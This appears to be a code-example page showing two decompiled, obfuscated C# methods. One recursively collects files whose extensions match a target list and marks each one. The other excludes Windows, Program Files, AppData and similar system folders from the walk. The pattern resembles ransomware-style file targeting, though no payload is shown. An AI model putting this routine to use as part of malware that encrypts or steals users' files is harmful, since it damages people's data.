예제 #1
0
 public void method_19(List <string> list_0, string string_7)
 {
     try
     {
         string[] array = Delegate194.smethod_0(string_7, "*.*");
         for (int i = 0; i < array.Length; i++)
         {
             string   text    = array[i];
             string   object_ = Delegate195.smethod_0(text);
             string[] array2  = this.string_6;
             for (int j = 0; j < array2.Length; j++)
             {
                 string text2 = array2[j];
                 if (Delegate98.smethod_1(text2, Delegate143.smethod_0(object_)) && !this.method_16(text))
                 {
                     list_0.Add(text);
                     this.method_17(text);
                 }
             }
         }
         string[] array3 = Delegate196.smethod_0(string_7);
         for (int k = 0; k < array3.Length; k++)
         {
             string string_8 = array3[k];
             if (!this.method_6(string_8))
             {
                 this.method_19(list_0, string_8);
             }
         }
     }
     catch (Exception object_2)
     {
         Delegate100.smethod_2(Delegate197.smethod_0(object_2));
     }
 }
예제 #2
0
    public bool method_6(string string_7)
    {
        Match object_  = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\users\\\\(.+)\\\\appdata\\\\(.+)?$");
        Match object_2 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\windows(\\\\$)?(.+)?$");
        Match object_3 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\program files(\\\\$)?(.+)?$");
        Match object_4 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\users\\\\public\\\\pictures\\\\sample pictures");
        Match object_5 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\program files \\(x64\\)(\\\\$)?(.+)?$");
        Match object_6 = Delegate144.smethod_0(Delegate143.smethod_0(string_7), "c:\\\\\\$(.+)?$");

        return(Delegate145.smethod_0(object_) || Delegate145.smethod_0(object_2) || Delegate145.smethod_0(object_3) || Delegate145.smethod_0(object_5) || Delegate145.smethod_0(object_4) || Delegate145.smethod_0(object_6));
    }